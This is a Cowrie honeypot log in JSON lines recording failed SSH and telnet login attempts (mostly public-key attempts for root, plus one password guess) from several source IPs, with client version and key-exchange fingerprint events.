{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5d:f8:31:70:7f:52:f7:8f:05:cf:d9:b7:dd:5d:1f:e3","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAKWeOz6yBlXHusZunh/JKgrsuzyoGmoi1yaYv51FfElytxV/hdIrxUZG7XGpgOm4rwhZbLSMFQa1LBnJcSZcyiywDL6Dd0OUH9im56MYEEeLDXkNG5+LVFqdZqnHNmeyjBkxhY6Wkx+JFRjqVYjkh4qV9J6gK5RurzcjWTRHWPPzAAAAFQCBNXvbaazDgjoFT65gwzgqz7kEPQAAAIAlcbpNng5szKcleE6OBsvM1daQYZmjYlWTaHwuecv8wcR4gbl6Yv7hgplhyHTu7wHYTvAF+E+W8Lu+5PKZ2tjxBaCrmppliwYgK+k9k5fLpUeXvzA6r321Sb4U+bI9u3/fnz00SJYT9B8zcj17dCg0Qs37QLgV2xtAs24uTuNUXAAAAIB7T1DFkC5OELeRddgQI0BKSgWoWG6q+EgLDcwyY9mCSSc56W7unV1rD2jlewZ9HBgxGI56xhc1SUA7FF9UJ/oAr1ivaUh551pFKofd2cplvbQWYcryavMgFmIDxuR7z48ZAqflwhsue4N8PFFrTuU1AsH6lx09//vHf3CkJN04bQ==","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint 5d:f8:31:70:7f:52:f7:8f:05:cf:d9:b7:dd:5d:1f:e3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:06:38.543125Z","src_ip":"184.154.78.51","session":"c906a3fbfde9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5d:f8:31:70:7f:52:f7:8f:05:cf:d9:b7:dd:5d:1f:e3","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAKWeOz6yBlXHusZunh/JKgrsuzyoGmoi1yaYv51FfElytxV/hdIrxUZG7XGpgOm4rwhZbLSMFQa1LBnJcSZcyiywDL6Dd0OUH9im56MYEEeLDXkNG5+LVFqdZqnHNmeyjBkxhY6Wkx+JFRjqVYjkh4qV9J6gK5RurzcjWTRHWPPzAAAAFQCBNXvbaazDgjoFT65gwzgqz7kEPQAAAIAlcbpNng5szKcleE6OBsvM1daQYZmjYlWTaHwuecv8wcR4gbl6Yv7hgplhyHTu7wHYTvAF+E+W8Lu+5PKZ2tjxBaCrmppliwYgK+k9k5fLpUeXvzA6r321Sb4U+bI9u3/fnz00SJYT9B8zcj17dCg0Qs37QLgV2xtAs24uTuNUXAAAAIB7T1DFkC5OELeRddgQI0BKSgWoWG6q+EgLDcwyY9mCSSc56W7unV1rD2jlewZ9HBgxGI56xhc1SUA7FF9UJ/oAr1ivaUh551pFKofd2cplvbQWYcryavMgFmIDxuR7z48ZAqflwhsue4N8PFFrTuU1AsH6lx09//vHf3CkJN04bQ==","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:06:38.547046Z","src_ip":"184.154.78.51","session":"c906a3fbfde9","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b3:a9:b6:da:bf:3b:1c:29:c5:ca:6a:34:27:0f:5d:08","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDO/hFpdZI49FCWzjPPdwVOBYwcQMKhWs2WDBfcccpPZ3zILZuNzrPdzWIORHtb2hXbB0QumflSN0qnmaxAtVp97z6cNZEkQuRUL3kbD4Mj5FNqT6wJjDAkzib/dBaRPIEk3NH8+N0zhcuuHqg7fUDdSjKILS+niCeov46cmBev9soIbYhHMtmolZ/NFcujk5DYe7XDLV2IF6dW9weqMuIvFtQzUxnEhkjPAw4UXbInCKboP2I01yP9ns3ke287gUCJDUyvL4f2FA/hT54+Pgy49SFLjQd7ymDHPy3JZA8oEwEyQy60xYCd2iV7IaE9DuU3nyZQv4Pe+o6bcI2T5/Ld","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b3:a9:b6:da:bf:3b:1c:29:c5:ca:6a:34:27:0f:5d:08","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:06:38.577991Z","src_ip":"184.154.78.51","session":"c906a3fbfde9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b3:a9:b6:da:bf:3b:1c:29:c5:ca:6a:34:27:0f:5d:08","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDO/hFpdZI49FCWzjPPdwVOBYwcQMKhWs2WDBfcccpPZ3zILZuNzrPdzWIORHtb2hXbB0QumflSN0qnmaxAtVp97z6cNZEkQuRUL3kbD4Mj5FNqT6wJjDAkzib/dBaRPIEk3NH8+N0zhcuuHqg7fUDdSjKILS+niCeov46cmBev9soIbYhHMtmolZ/NFcujk5DYe7XDLV2IF6dW9weqMuIvFtQzUxnEhkjPAw4UXbInCKboP2I01yP9ns3ke287gUCJDUyvL4f2FA/hT54+Pgy49SFLjQd7ymDHPy3JZA8oEwEyQy60xYCd2iV7IaE9DuU3nyZQv4Pe+o6bcI2T5/Ld","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:06:38.581750Z","src_ip":"184.154.78.51","session":"c906a3fbfde9","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"47:99:36:86:c1:a6:77:ff:4d:3b:7a:63:fb:5a:54:71","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKPmdhJwz0PqcbI+/eutOgZyF7kyIoXvtw0+zv2A8wsz","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 47:99:36:86:c1:a6:77:ff:4d:3b:7a:63:fb:5a:54:71","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:06:38.610114Z","src_ip":"184.154.78.51","session":"c906a3fbfde9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"47:99:36:86:c1:a6:77:ff:4d:3b:7a:63:fb:5a:54:71","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKPmdhJwz0PqcbI+/eutOgZyF7kyIoXvtw0+zv2A8wsz","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:06:38.614019Z","src_ip":"184.154.78.51","session":"c906a3fbfde9","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"38:da:23:db:10:12:c5:c5:88:89:69:21:c8:42:93:77","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAMay3CSa7uJjYboMQntMOb5/FhutlscfMT9HSzXiYRE2V2rNQRYaM3nvowVitH5tba6FeRy8nQx081WlbK9EoshYTcF8h1NJSroYytkxSfafcCnbnou3qyJRCpOn1mbcUdrlHJAtftGwSY4++rstFA80jp6KaEpD8Cepl0V+TNN/AAAAFQC5VRzYk4gLIVcSL9ViA9erpa9BSQAAAIBLxBTMZr9JoC5+brjUfsBVoV6osAz70okGravOZRO0O+4qoMZYKdM1AAxVUDqyVmkKC9UMyChjGa7I3CX3Du+WMewee200od7LrSFka1owCAjdTm+xRb0to6g66z0B4YKTBpOs3ehUvjXqcQwwftplZjE9XSv6xfYeyRlgKj4IbAAAAIABCv+WUD2zbkvOl+TDPN9+J60HWNSgWQmd7+BTGZ7zLcJ8kVwtUYZhhC7D214JOM/HmHreY1o9LxpBJQPaOoRTnndK7PLssQfBLAMWBGeDMgfzK3rsdy69z3eFyc70IMx41C+ClF7M7SjC54XOtCR2bHvKuRb92MF4p666NpDr3w==","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint 38:da:23:db:10:12:c5:c5:88:89:69:21:c8:42:93:77","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:06:38.642732Z","src_ip":"184.154.78.51","session":"c906a3fbfde9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"38:da:23:db:10:12:c5:c5:88:89:69:21:c8:42:93:77","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAMay3CSa7uJjYboMQntMOb5/FhutlscfMT9HSzXiYRE2V2rNQRYaM3nvowVitH5tba6FeRy8nQx081WlbK9EoshYTcF8h1NJSroYytkxSfafcCnbnou3qyJRCpOn1mbcUdrlHJAtftGwSY4++rstFA80jp6KaEpD8Cepl0V+TNN/AAAAFQC5VRzYk4gLIVcSL9ViA9erpa9BSQAAAIBLxBTMZr9JoC5+brjUfsBVoV6osAz70okGravOZRO0O+4qoMZYKdM1AAxVUDqyVmkKC9UMyChjGa7I3CX3Du+WMewee200od7LrSFka1owCAjdTm+xRb0to6g66z0B4YKTBpOs3ehUvjXqcQwwftplZjE9XSv6xfYeyRlgKj4IbAAAAIABCv+WUD2zbkvOl+TDPN9+J60HWNSgWQmd7+BTGZ7zLcJ8kVwtUYZhhC7D214JOM/HmHreY1o9LxpBJQPaOoRTnndK7PLssQfBLAMWBGeDMgfzK3rsdy69z3eFyc70IMx41C+ClF7M7SjC54XOtCR2bHvKuRb92MF4p666NpDr3w==","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:06:38.647001Z","src_ip":"184.154.78.51","session":"c906a3fbfde9","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"32:80:6f:aa:48:7f:1a:b5:15:8a:c0:09:6c:ee:cd:6d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCxjTeQk81xbkBusYeQKeVB6L3hPWMEZk56MEQMkQK8qtdl25tSlzMwDjxL3Kixb+t/Jkq9ZavM8qKyF1Qfb75TrgoYmKHw9AYiRI/p+vQXkm/R5IaQ8IOan5359ElWt+YgEKuknIXrfqfdgohW8tSnQwprParSdRNsWGEueO2qNZlgLELw2jggtQfTbLMKPEj9FF7jFk9aK8NuW9NtIDAuufCPDZBLbyzW/zZdNnKan87ymGyUVwzQnBnhkCD3hqw4ThLJ5WaQu5OauyinY5xUpl97UJ4IVAi14z/tJfzfP8HdShWEcaDUYSarHO4r2yhWXsjGmU1uBdwk7DQQixh3","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 32:80:6f:aa:48:7f:1a:b5:15:8a:c0:09:6c:ee:cd:6d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:06:38.675878Z","src_ip":"184.154.78.51","session":"c906a3fbfde9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"32:80:6f:aa:48:7f:1a:b5:15:8a:c0:09:6c:ee:cd:6d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCxjTeQk81xbkBusYeQKeVB6L3hPWMEZk56MEQMkQK8qtdl25tSlzMwDjxL3Kixb+t/Jkq9ZavM8qKyF1Qfb75TrgoYmKHw9AYiRI/p+vQXkm/R5IaQ8IOan5359ElWt+YgEKuknIXrfqfdgohW8tSnQwprParSdRNsWGEueO2qNZlgLELw2jggtQfTbLMKPEj9FF7jFk9aK8NuW9NtIDAuufCPDZBLbyzW/zZdNnKan87ymGyUVwzQnBnhkCD3hqw4ThLJ5WaQu5OauyinY5xUpl97UJ4IVAi14z/tJfzfP8HdShWEcaDUYSarHO4r2yhWXsjGmU1uBdwk7DQQixh3","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:06:38.679303Z","src_ip":"184.154.78.51","session":"c906a3fbfde9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:06:38.732599Z","src_ip":"184.154.78.51","session":"c906a3fbfde9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":54115,"dst_ip":"10.17.0.5","dst_port":23,"session":"53197a062f74","protocol":"telnet","message":"New connection: 212.55.149.117:54115 (10.17.0.5:23) [session: 53197a062f74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:06:59.284472Z"}
{"eventid":"cowrie.session.closed","duration":59.511080265045166,"message":"Connection lost after 59 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:07:24.737417Z","src_ip":"212.55.149.117","session":"8c7c9cb37f1c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.241.3","src_port":51020,"dst_ip":"10.17.0.5","dst_port":23,"session":"d776d0cf310b","protocol":"telnet","message":"New connection: 134.209.241.3:51020 (10.17.0.5:23) [session: d776d0cf310b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:07:25.947873Z"}
{"eventid":"cowrie.session.closed","duration":0.004515886306762695,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:07:25.952277Z","src_ip":"134.209.241.3","session":"d776d0cf310b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.36.71","src_port":51756,"dst_ip":"159.203.135.109","dst_port":22,"session":"b3ad5443aba0","protocol":"ssh","message":"New connection: 165.154.36.71:51756 (159.203.135.109:22) [session: b3ad5443aba0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:07:30.165138Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:07:30.172559Z","src_ip":"165.154.36.71","session":"b3ad5443aba0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:07:30.239611Z","src_ip":"165.154.36.71","session":"b3ad5443aba0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"xsw21qaz","message":"login attempt [ubuntu/xsw21qaz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:07:30.521603Z","src_ip":"165.154.36.71","session":"b3ad5443aba0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:07:31.595288Z","src_ip":"165.154.36.71","session":"b3ad5443aba0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.243.38.174","src_port":40836,"dst_ip":"10.17.0.5","dst_port":22,"session":"49552d8067d6","protocol":"ssh","message":"New connection: 104.243.38.174:40836 (10.17.0.5:22) [session: 49552d8067d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:08:24.625270Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:08:24.634933Z","src_ip":"104.243.38.174","session":"49552d8067d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:08:24.642855Z","src_ip":"104.243.38.174","session":"49552d8067d6","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"08:82:75:f2:01:66:b5:92:99:63:fc:69:8f:61:46:f3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCgQhXIyIncNJIOCaEMoN9gV9OtHvio9R7JrPn6AqRtfjH60HrrnkYtgW7vhgOXXZyQH+6vG0nO/A9tR0Rwygta8S0IiIPvrB1NSVT+qMwViYn+4VyLkVgzXP1Zi4SssX61GrpvmXrHnHlEo2WioXSGy11qmNGbz6rugO8b/zNqpiLBz4+VgA9REENQN5d/8IL0ez7W/7c09mPQv4pnA2XOhTVKv8H69su9J5IA48frAb7uDqQ6wWw373zwGV7ssKBUnRZaurIxbsqDfO/w8pggYC8V6pXK5ozMP7/SCuyzAThd/jwnledvJVvgvsWuInkLteqaHz0zjvQrG3hzXYAF","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 08:82:75:f2:01:66:b5:92:99:63:fc:69:8f:61:46:f3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:08:24.661352Z","src_ip":"104.243.38.174","session":"49552d8067d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"08:82:75:f2:01:66:b5:92:99:63:fc:69:8f:61:46:f3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCgQhXIyIncNJIOCaEMoN9gV9OtHvio9R7JrPn6AqRtfjH60HrrnkYtgW7vhgOXXZyQH+6vG0nO/A9tR0Rwygta8S0IiIPvrB1NSVT+qMwViYn+4VyLkVgzXP1Zi4SssX61GrpvmXrHnHlEo2WioXSGy11qmNGbz6rugO8b/zNqpiLBz4+VgA9REENQN5d/8IL0ez7W/7c09mPQv4pnA2XOhTVKv8H69su9J5IA48frAb7uDqQ6wWw373zwGV7ssKBUnRZaurIxbsqDfO/w8pggYC8V6pXK5ozMP7/SCuyzAThd/jwnledvJVvgvsWuInkLteqaHz0zjvQrG3hzXYAF","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:08:24.665783Z","src_ip":"104.243.38.174","session":"49552d8067d6","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"08:a6:7d:47:37:72:bd:3e:51:d2:60:d5:19:6a:9f:e7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC7bQLcNol7OGZHBBUYH84pMB7vxpRZd0BQEkK6pAzdy9pXQHDRqnFCSFVKB9HD4p5kqQ6EkNIWdRg5VbPpWp47o5DCHSbsmjV1fGRiUDfjIKfJK9Mp9HiO6hwTakO/EoGXs3wS+8WmnCnyPHl1BLGYSeUSMn7NxK5415SaXjqqRsK7+ChE5KkL+8Qc7X3zMHHEcnuWFsno6EzDAX6uGks2mb+MlTJsfhLb+oolEjOrk9W/5f+QsNawELkcT5bGsVJO0VUMDuUxiUQPWMpNH6XhzDSO8N5kmoHfVaTs69slmq+tqwWQWTXahIpHyEbb7dvW+6uN/TsrcLAJcAdihmc1","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 08:a6:7d:47:37:72:bd:3e:51:d2:60:d5:19:6a:9f:e7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:08:24.673796Z","src_ip":"104.243.38.174","session":"49552d8067d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"08:a6:7d:47:37:72:bd:3e:51:d2:60:d5:19:6a:9f:e7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC7bQLcNol7OGZHBBUYH84pMB7vxpRZd0BQEkK6pAzdy9pXQHDRqnFCSFVKB9HD4p5kqQ6EkNIWdRg5VbPpWp47o5DCHSbsmjV1fGRiUDfjIKfJK9Mp9HiO6hwTakO/EoGXs3wS+8WmnCnyPHl1BLGYSeUSMn7NxK5415SaXjqqRsK7+ChE5KkL+8Qc7X3zMHHEcnuWFsno6EzDAX6uGks2mb+MlTJsfhLb+oolEjOrk9W/5f+QsNawELkcT5bGsVJO0VUMDuUxiUQPWMpNH6XhzDSO8N5kmoHfVaTs69slmq+tqwWQWTXahIpHyEbb7dvW+6uN/TsrcLAJcAdihmc1","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:08:24.677276Z","src_ip":"104.243.38.174","session":"49552d8067d6","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"dc:39:87:cd:c1:46:09:5f:ef:ee:47:a6:2f:50:80:43","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCykHuGeyDc7wZLYZ+9nlXZ+Rh+CI46BJsEwniCIO+iAGcWQIm85Ml3FAQJEqey7BfV6VfDd77cn+f8j/cJaSeSRp0JXu9oe/mCIptG/cfMYx2DzbP36tlKYtfpX4eVKil5rAqGz1BVPc20dUxhWTQpTvWxkRhQf0KPYHtMU9o/NH+coWfaPJDzWPJDBEpMOW1Eo5zlY2/+3GKrUcEBNPOMvZp+A6u7syqAz/7YEIteR/p+sDdL+5B0vkvgSkY563SGAs36aZQeIk3dWXvDpP7bsD4SFybOe+W6ENguu2SmGfUzuuy2Fr/c0xW54Gs5yGsZMozSY+g9RWoYeCvfTkt9","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint dc:39:87:cd:c1:46:09:5f:ef:ee:47:a6:2f:50:80:43","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:08:24.685250Z","src_ip":"104.243.38.174","session":"49552d8067d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"dc:39:87:cd:c1:46:09:5f:ef:ee:47:a6:2f:50:80:43","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCykHuGeyDc7wZLYZ+9nlXZ+Rh+CI46BJsEwniCIO+iAGcWQIm85Ml3FAQJEqey7BfV6VfDd77cn+f8j/cJaSeSRp0JXu9oe/mCIptG/cfMYx2DzbP36tlKYtfpX4eVKil5rAqGz1BVPc20dUxhWTQpTvWxkRhQf0KPYHtMU9o/NH+coWfaPJDzWPJDBEpMOW1Eo5zlY2/+3GKrUcEBNPOMvZp+A6u7syqAz/7YEIteR/p+sDdL+5B0vkvgSkY563SGAs36aZQeIk3dWXvDpP7bsD4SFybOe+W6ENguu2SmGfUzuuy2Fr/c0xW54Gs5yGsZMozSY+g9RWoYeCvfTkt9","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:08:24.691624Z","src_ip":"104.243.38.174","session":"49552d8067d6","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e0:20:ca:92:3e:0c:1c:d9:a8:9e:3a:e7:d3:41:5e:00","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDWjDCeVItnz/j8JXl43PPUbHvFJBXnSGclTmHZ8HtukISJjtU4E3smwRDxcIvZXiJFr4Qcs4rGr0edHUvePHCdECbOE2idJWTWVW9oxwYrqCOWevvnYGbCyN1w4km7K4I+3j8IzDu0WzMBXCXS2BrCM8TDnYyfehKFtIuY7k4dhbbCm9pBIiKOMb23btEzz7A8kqChRvhmy4LgqSV3BkC6FnyTqzBZ8TCuLEgxpsv1ejuhJFhuei1uW5wA6FfrHDz5eunZgsw2IjbBTrDInCmSpb/ZWSWHzFR4kO6ztN1STLuPPGOfS0C9aOYnaXBa/YjC8KLcwJaVWJNm3v0nqye9","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e0:20:ca:92:3e:0c:1c:d9:a8:9e:3a:e7:d3:41:5e:00","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:08:24.704134Z","src_ip":"104.243.38.174","session":"49552d8067d6","protocol":"ssh"}
